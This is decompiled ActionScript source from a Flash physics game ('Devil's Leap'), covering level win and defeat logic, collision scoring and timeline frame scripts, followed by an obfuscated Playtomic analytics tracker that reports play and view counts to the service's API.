stage.removeEventListener(MouseEvent.MOUSE_UP, credits_bt_f2);
};
}
public function pre_zagr_bt(_arg1:MouseEvent){
st_cl.play();
}
public function up_w(_arg1:Event){
world.Step(timeStep, iterations);
bb = world.GetBodyList();
while (bb) {
if ((bb.GetUserData() is MovieClip)){
sprite = (bb.GetUserData() as MovieClip);
sprite.x = (bb.GetPosition().x * 30);
sprite.y = (bb.GetPosition().y * 30);
sprite.rotation = (bb.GetAngle() * (180 / Math.PI));
};
bb = bb.GetNext();
};
}
public function game_f2(_arg1:Event){
if (locations == 1){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
_vel232 = dim4.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if ((((Math.abs(_vel232.x) < 0.5)) && ((Math.abs(_vel232.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
i = 1;
while (i <= kol_cel) {
if (this[("ang" + i)].telo.hitTestObject(this.dim4_cl)){
if (this[("ang" + i)].currentFrame < 131){
this[("ang" + i)].gotoAndPlay(131);
cra_5000 = new cra_5000_cl();
addChild(cra_5000);
cra_5000.name = ("crash" + per_cra);
cra_5000.x = this[("ang" + i)].x;
cra_5000.y = this[("ang" + i)].y;
mas_cra.push(per_cra);
score_game = (score_game + 5000);
per_cra++;
cel--;
};
};
i++;
};
};
if (locations == 2){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
_vel232 = dim1.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if ((((Math.abs(_vel232.x) < 0.5)) && ((Math.abs(_vel232.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
i = 1;
while (i <= kol_cel) {
if (this[("ang" + i)].telo.hitTestObject(this.dim1_cl)){
if (this[("ang" + i)].currentFrame < 131){
this[("ang" + i)].gotoAndPlay(131);
cra_5000 = new cra_5000_cl();
addChild(cra_5000);
cra_5000.name = ("crash" + per_cra);
cra_5000.x = this[("ang" + i)].x;
cra_5000.y = this[("ang" + i)].y;
mas_cra.push(per_cra);
score_game = (score_game + 5000);
per_cra++;
cel--;
};
};
i++;
};
};
if (locations == 3){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
_vel232 = dim1.GetLinearVelocity();
_vel233 = dim2.GetLinearVelocity();
_vel234 = dim3.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if ((((Math.abs(_vel232.x) < 0.5)) && ((Math.abs(_vel232.y) < 0.5)))){
if ((((Math.abs(_vel233.x) < 0.5)) && ((Math.abs(_vel233.y) < 0.5)))){
if ((((Math.abs(_vel234.x) < 0.5)) && ((Math.abs(_vel234.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
};
};
i = 1;
while (i <= kol_cel) {
if (((((this[("ang" + i)].telo.hitTestObject(this.dim1_cl)) || (this[("ang" + i)].telo.hitTestObject(this.dim2_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim3_cl)))){
if (this[("ang" + i)].currentFrame < 131){
this[("ang" + i)].gotoAndPlay(131);
cra_5000 = new cra_5000_cl();
addChild(cra_5000);
cra_5000.name = ("crash" + per_cra);
cra_5000.x = this[("ang" + i)].x;
cra_5000.y = this[("ang" + i)].y;
mas_cra.push(per_cra);
score_game = (score_game + 5000);
per_cra++;
cel--;
};
};
i++;
};
};
if (locations == 4){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
if (locations == 5){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
i = 1;
while (i <= kol_cel) {
if (((this[("ang" + i)].telo.hitTestObject(this.dim1_cl)) || (this[("ang" + i)].telo.hitTestObject(this.dim2_cl)))){
if (this[("ang" + i)].currentFrame < 131){
this[("ang" + i)].gotoAndPlay(131);
cra_5000 = new cra_5000_cl();
addChild(cra_5000);
cra_5000.name = ("crash" + per_cra);
cra_5000.x = this[("ang" + i)].x;
cra_5000.y = this[("ang" + i)].y;
mas_cra.push(per_cra);
score_game = (score_game + 5000);
per_cra++;
cel--;
};
};
i++;
};
};
if (locations == 6){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
_vel232 = dim1.GetLinearVelocity();
_vel233 = dim2.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if ((((Math.abs(_vel232.x) < 0.5)) && ((Math.abs(_vel232.y) < 0.5)))){
if ((((Math.abs(_vel233.x) < 0.5)) && ((Math.abs(_vel233.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
};
i = 1;
while (i <= kol_cel) {
if (this[("ang" + i)].telo.hitTestObject(this.dim1_cl)){
if (this[("ang" + i)].currentFrame < 131){
this[("ang" + i)].gotoAndPlay(131);
cra_5000 = new cra_5000_cl();
addChild(cra_5000);
cra_5000.name = ("crash" + per_cra);
cra_5000.x = this[("ang" + i)].x;
cra_5000.y = this[("ang" + i)].y;
mas_cra.push(per_cra);
score_game = (score_game + 5000);
per_cra++;
cel--;
};
};
i++;
};
};
if (locations == 7){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
_vel232 = dim1.GetLinearVelocity();
_vel233 = dim2.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if ((((Math.abs(_vel232.x) < 0.5)) && ((Math.abs(_vel232.y) < 0.5)))){
if ((((Math.abs(_vel233.x) < 0.5)) && ((Math.abs(_vel233.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
};
i = 1;
while (i <= kol_cel) {
if (((((((((((((((((this[("ang" + i)].telo.hitTestObject(this.dim1_cl)) || (this[("ang" + i)].telo.hitTestObject(this.dim2_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim3_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim4_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim5_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim6_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim7_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim8_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim9_cl)))){
if (this[("ang" + i)].currentFrame < 131){
this[("ang" + i)].gotoAndPlay(131);
cra_5000 = new cra_5000_cl();
addChild(cra_5000);
cra_5000.name = ("crash" + per_cra);
cra_5000.x = this[("ang" + i)].x;
cra_5000.y = this[("ang" + i)].y;
mas_cra.push(per_cra);
score_game = (score_game + 5000);
per_cra++;
cel--;
};
};
i++;
};
};
if (locations == 8){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
_vel232 = dim1.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if ((((Math.abs(_vel232.x) < 0.5)) && ((Math.abs(_vel232.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
i = 1;
while (i <= kol_cel) {
if (((((((((((this[("ang" + i)].telo.hitTestObject(this.dim1_cl)) || (this[("ang" + i)].telo.hitTestObject(this.dim2_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim3_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim4_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim5_cl)))) || (this[("ang" + i)].telo.hitTestObject(this.dim6_cl)))){
if (this[("ang" + i)].currentFrame < 131){
this[("ang" + i)].gotoAndPlay(131);
cra_5000 = new cra_5000_cl();
addChild(cra_5000);
cra_5000.name = ("crash" + per_cra);
cra_5000.x = this[("ang" + i)].x;
cra_5000.y = this[("ang" + i)].y;
mas_cra.push(per_cra);
score_game = (score_game + 5000);
per_cra++;
cel--;
};
};
i++;
};
};
}
}
}//package DevilsleapforPirate_fla
Section 79
//Timeline_1 (DevilsleapforPirate_fla.Timeline_1)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_1 extends MovieClip {
public var load_cl:MovieClip;
public function Timeline_1(){
addFrameScript(0, frame1, 40, frame41);
}
function frame1(){
stop();
}
function frame41(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 80
//Timeline_10 (DevilsleapforPirate_fla.Timeline_10)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_10 extends MovieClip {
public var bt_more_game:SimpleButton;
public function Timeline_10(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 81
//Timeline_100 (DevilsleapforPirate_fla.Timeline_100)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_100 extends MovieClip {
public function Timeline_100(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 82
//Timeline_103 (DevilsleapforPirate_fla.Timeline_103)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_103 extends MovieClip {
public function Timeline_103(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 83
//Timeline_109 (DevilsleapforPirate_fla.Timeline_109)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_109 extends MovieClip {
public function Timeline_109(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 84
//Timeline_28 (DevilsleapforPirate_fla.Timeline_28)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_28 extends MovieClip {
public function Timeline_28(){
addFrameScript(7, frame8);
}
function frame8(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 85
//Timeline_3 (DevilsleapforPirate_fla.Timeline_3)
package DevilsleapforPirate_fla {
import flash.display.*;
import flash.text.*;
public dynamic class Timeline_3 extends MovieClip {
public var load_tx:TextField;
}
}//package DevilsleapforPirate_fla
Section 86
//Timeline_34 (DevilsleapforPirate_fla.Timeline_34)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_34 extends MovieClip {
public function Timeline_34(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 87
//Timeline_35 (DevilsleapforPirate_fla.Timeline_35)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_35 extends MovieClip {
public function Timeline_35(){
addFrameScript(15, frame16);
}
function frame16(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 88
//Timeline_36 (DevilsleapforPirate_fla.Timeline_36)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_36 extends MovieClip {
public function Timeline_36(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 89
//Timeline_37 (DevilsleapforPirate_fla.Timeline_37)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_37 extends MovieClip {
public function Timeline_37(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 90
//Timeline_38 (DevilsleapforPirate_fla.Timeline_38)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_38 extends MovieClip {
public function Timeline_38(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 91
//Timeline_39 (DevilsleapforPirate_fla.Timeline_39)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_39 extends MovieClip {
public function Timeline_39(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 92
//Timeline_40 (DevilsleapforPirate_fla.Timeline_40)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_40 extends MovieClip {
public function Timeline_40(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 93
//Timeline_41 (DevilsleapforPirate_fla.Timeline_41)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_41 extends MovieClip {
public function Timeline_41(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 94
//Timeline_42 (DevilsleapforPirate_fla.Timeline_42)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_42 extends MovieClip {
public function Timeline_42(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 95
//Timeline_43 (DevilsleapforPirate_fla.Timeline_43)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_43 extends MovieClip {
public function Timeline_43(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 96
//Timeline_44 (DevilsleapforPirate_fla.Timeline_44)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_44 extends MovieClip {
public function Timeline_44(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 97
//Timeline_45 (DevilsleapforPirate_fla.Timeline_45)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_45 extends MovieClip {
public function Timeline_45(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 98
//Timeline_46 (DevilsleapforPirate_fla.Timeline_46)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_46 extends MovieClip {
public function Timeline_46(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 99
//Timeline_47 (DevilsleapforPirate_fla.Timeline_47)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_47 extends MovieClip {
public function Timeline_47(){
addFrameScript(0, frame1, 6, frame7);
}
function frame7(){
stop();
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 100
//Timeline_55 (DevilsleapforPirate_fla.Timeline_55)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_55 extends MovieClip {
public var credits_bt:SimpleButton;
public function Timeline_55(){
addFrameScript(28, frame29);
}
function frame29(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 101
//Timeline_57 (DevilsleapforPirate_fla.Timeline_57)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_57 extends MovieClip {
public var play_bt:SimpleButton;
public function Timeline_57(){
addFrameScript(28, frame29);
}
function frame29(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 102
//Timeline_65 (DevilsleapforPirate_fla.Timeline_65)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_65 extends MovieClip {
public var pomoc_bt:SimpleButton;
public function Timeline_65(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 103
//Timeline_66 (DevilsleapforPirate_fla.Timeline_66)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_66 extends MovieClip {
public var pomoc_bt:SimpleButton;
public function Timeline_66(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 104
//Timeline_67 (DevilsleapforPirate_fla.Timeline_67)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_67 extends MovieClip {
public var pomoc_bt:SimpleButton;
public function Timeline_67(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 105
//Timeline_68 (DevilsleapforPirate_fla.Timeline_68)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_68 extends MovieClip {
public var cifr:MovieClip;
public function Timeline_68(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 106
//Timeline_7 (DevilsleapforPirate_fla.Timeline_7)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_7 extends MovieClip {
public var start_bt:SimpleButton;
public function Timeline_7(){
addFrameScript(0, frame1, 46, frame47);
}
function frame1(){
stop();
}
function frame47(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 107
//Timeline_71 (DevilsleapforPirate_fla.Timeline_71)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_71 extends MovieClip {
public var cifr:MovieClip;
public function Timeline_71(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 108
//Timeline_73 (DevilsleapforPirate_fla.Timeline_73)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_73 extends MovieClip {
public var cifr:MovieClip;
public function Timeline_73(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 109
//Timeline_75 (DevilsleapforPirate_fla.Timeline_75)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_75 extends MovieClip {
public var pomoc_bt:SimpleButton;
public function Timeline_75(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 110
//Timeline_76 (DevilsleapforPirate_fla.Timeline_76)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_76 extends MovieClip {
public var pomoc_bt:SimpleButton;
public function Timeline_76(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 111
//Timeline_77 (DevilsleapforPirate_fla.Timeline_77)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_77 extends MovieClip {
public var pomoc_bt:SimpleButton;
public function Timeline_77(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 112
//Timeline_81 (DevilsleapforPirate_fla.Timeline_81)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_81 extends MovieClip {
public function Timeline_81(){
addFrameScript(0, frame1, 21, frame22);
}
function frame1(){
stop();
}
function frame22(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 113
//Timeline_82 (DevilsleapforPirate_fla.Timeline_82)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_82 extends MovieClip {
public var molnia_cl:MovieClip;
public function Timeline_82(){
addFrameScript(0, frame1, 32, frame33);
}
function frame1(){
stop();
}
function frame33(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 114
//Timeline_83 (DevilsleapforPirate_fla.Timeline_83)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_83 extends MovieClip {
public function Timeline_83(){
addFrameScript(0, frame1, 7, frame8, 14, frame15, 21, frame22, 28, frame29, 35, frame36, 42, frame43, 49, frame50, 56, frame57);
}
function frame15(){
stop();
}
function frame1(){
stop();
}
function frame22(){
stop();
}
function frame29(){
stop();
}
function frame8(){
stop();
}
function frame36(){
stop();
}
function frame43(){
stop();
}
function frame50(){
stop();
}
function frame57(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 115
//Timeline_90 (DevilsleapforPirate_fla.Timeline_90)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_90 extends MovieClip {
public var telo:MovieClip;
public function Timeline_90(){
addFrameScript(160, frame161);
}
function frame161(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 116
//Timeline_93 (DevilsleapforPirate_fla.Timeline_93)
package DevilsleapforPirate_fla {
import flash.display.*;
public dynamic class Timeline_93 extends MovieClip {
public var next_bt:SimpleButton;
public function Timeline_93(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package DevilsleapforPirate_fla
Section 117
// (Playtomic. )
package Playtomic {
import flash.net.*;
import flash.events.*;
public final class {
private var 6!:URLLoader;
private var =:URLRequest;
private var 0!:String;// = ""
private var '":String;
public var -:Boolean;// = false
private static var >:int = 0;
private static var &:Array = new Array();
public function (){
this.6! = new URLLoader();
this.6!.addEventListener(Event.COMPLETE, this.=!, false, 1, false);
this.6!.addEventListener(IOErrorEvent.IO_ERROR, this.&", false, 0, true);
this.6!.addEventListener(HTTPStatusEvent.HTTP_STATUS, this.?!, false, 0, true);
this.6!.addEventListener(SecurityErrorEvent.SECURITY_ERROR, this.;!, false, 0, true);
this.= = new URLRequest();
this.'" = ((("http://g" + <.9) + ".api.playtomic.com/tracker/q.aspx?swfid=") + <.+!);
}
public function %(_arg1:Array):void{
var _local3: ;
if (> > 3){
return;
};
var _local2:int = (_arg1.length - 1);
while (_local2 > -1) {
this.0! = (this.0! + (((this.0! == "")) ? "" : "~" + _arg1[_local2]));
_arg1.splice(_local2, 1);
if (this.0!.length > 300){
_local3 = 0"();
_local3.%(_arg1);
this.- = true;
this.5!();
return;
};
_local2--;
};
<.+" = this;
}
public function 2"(_arg1:String):void{
if (> > 3){
return;
};
this.0! = (this.0! + (((this.0! == "")) ? "" : "~" + _arg1));
if (this.0!.length > 300){
this.- = true;
};
}
public function 5!():void{
this.=.url = (((((((this.'" + "&q=") + this.0!) + "&url=") + <.1) + "&") + Math.random()) + "z");
this.6!.load(this.=);
}
private function =!(_arg1:Event=null):void{
if ((((this.0!.indexOf("v/") == 0)) || ((this.0!.indexOf("~v/") > -1)))){
<.[();
};
if ((((this.0!.indexOf("p/") == 0)) || ((this.0!.indexOf("~p/") > -1)))){
<. "();
};
&.push(this);
}
private function &"(_arg1:IOErrorEvent):void{
>++;
}
private function ;!(_arg1:SecurityErrorEvent):void{
}
private function ?!(_arg1:HTTPStatusEvent):void{
}
public static function 0"(): {
var _local1: = ((&.length > 0)) ? (&.pop() as ) : new ( );
_local1.0! = "";
_local1.- = false;
return (_local1);
}
}
}//package Playtomic
Section 118
//< (Playtomic.<)
package Playtomic {
import flash.net.*;
import flash.events.*;
import flash.system.*;
import flash.utils.*;
import flash.external.*;
public final class < {
private static const 4:Timer = new Timer(60000);
private static const #":Timer = new Timer(30000);
public static var "":Boolean = false;
public static var 2":Boolean = true;
public static var +!:int = 0;
public static var 9:String = "";
public static var 1:String;
public static var '":String;
public static var @!:SharedObject;
public static var +": ;
private static var `!:Boolean = true;
private static var 9!:int = 0;
private static var 7:int = 0;
private static var 1":int = 0;
private static var 2!:Boolean = false;
private static var 3!:Array = new Array();
private static var !!:Array = new Array();
private static var ':Array = new Array();
private static var ;:Array = new Array();
private static var 3:Array = new Array();
public static function !"(_arg1:int=0, _arg2:String="", _arg3:String=""):void{
if (+! > 0){
return;
};
+! = _arg1;
9 = _arg2;
"" = true;
if ((((+! == 0)) || ((9 == "")))){
"" = false;
return;
};
if (((((!((_arg3.indexOf("http://") == 0))) && (!((Security.sandboxType == "localWithNetwork"))))) && (!((Security.sandboxType == "localTrusted"))))){
"" = false;
return;
};
1 = ,"(_arg3);
if ((((((1 == null)) || ((1 == "")))) || ((1.indexOf("https://") == 0)))){
"" = false;
return;
};
Security.allowDomain((("http://g" + <.9) + ".api.playtomic.com/"));
Security.allowInsecureDomain((("http://g" + <.9) + ".api.playtomic.com/"));
Security.loadPolicyFile((("http://g" + <.9) + ".api.playtomic.com/crossdomain.xml"));
+" = .0"();
@! = SharedObject.getLocal("playtomic");
var _local4:int = !("views");
5!(("v/" + (_local4 + 1)), true);
4.addEventListener(TimerEvent.TIMER, 6);
4.start();
}
public static function [():void{
var _local1:int = !("views");
_local1++;
?("views", _local1);
}
public static function "():void{
7++;
}
public static function '!():void{
if (!""){
return;
};
' = new Array();
; = new Array();
3 = new Array();
5!(("p/" + (7 + 1)), true);
}
private static function 6(... _args):void{
if (!""){
return;
};
9!++;
5!(((("t/" + (`!) ? "y" : "n") + "/") + 9!), true);
if (`!){
4.stop();
#".addEventListener(TimerEvent.TIMER, 6);
#".start();
`! = false;
};
}
public static function #(_arg1:String, _arg2:String=null, _arg3:Boolean=false):void{
if (!""){
return;
};
if (_arg2 == null){
_arg2 = "";
};
if (_arg3){
if (!!.indexOf(_arg1) > -1){
return;
};
!!.push(_arg1);
};
5!(((("c/" + ^!(_arg1)) + "/") + ^!(_arg2)));
}
public static function 8(_arg1:String, _arg2, _arg3:Boolean=false):void{
if (!""){
return;
};
if (_arg3){
if ('.indexOf(_arg1) > -1){
return;
};
